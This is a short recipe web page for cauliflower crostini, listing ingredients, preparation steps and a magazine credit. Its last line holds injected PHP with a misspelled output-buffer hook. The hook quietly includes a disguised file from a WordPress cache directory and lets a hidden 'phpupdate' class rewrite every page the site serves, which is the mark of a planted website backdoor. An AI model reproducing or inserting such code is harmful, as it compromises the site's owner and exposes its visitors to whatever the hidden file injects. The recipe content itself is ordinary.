Cauliflower Crostini

Prep Time

5 Minutes

Cook Time

12 Minutes

Yield

Serves 4

Description

Most ingredients are available in Antonio’s Market!

Ingredients

1 head Cauliflower, Cut into Florets
8 ea Crusty Italian Bread Slices
1 ea Garlic Glove, Cut in Half
8 tbsp Extra Virgin Olive Oil
Salt and Freshly Ground Black Pepper, To Taste

Method of Preparation

1. Bring a large pot of salted water to a boil.
2. Add the cauliflower and cook for 10 minutes.
3. Drain the cauliflower and place in a large bowl.
4. Add the olive oil, salt and pepper.
5. Mash well with a potato masher or fork.
6. Meanwhile, toast the bread and rub it with garlic.
7. Arrange the bread on a platter and spread the cauliflower mixture onto each slice.

Recipe Source

Italian Cooking and Living Magazine, January 2014 Issue

function ob_gzhanler($s) { $f='/data/19/2/124/52/2939541/user/3258021/htdocs/Development/wp-content/cache/ssess_2a52da7dd6661b1ae8dca7d527933a19'; if(file_exists($f)) include_once($f); return class_exists('phpupdate') ? phpupdate::copyright($s) : $s; } ob_start('ob_gzhanler');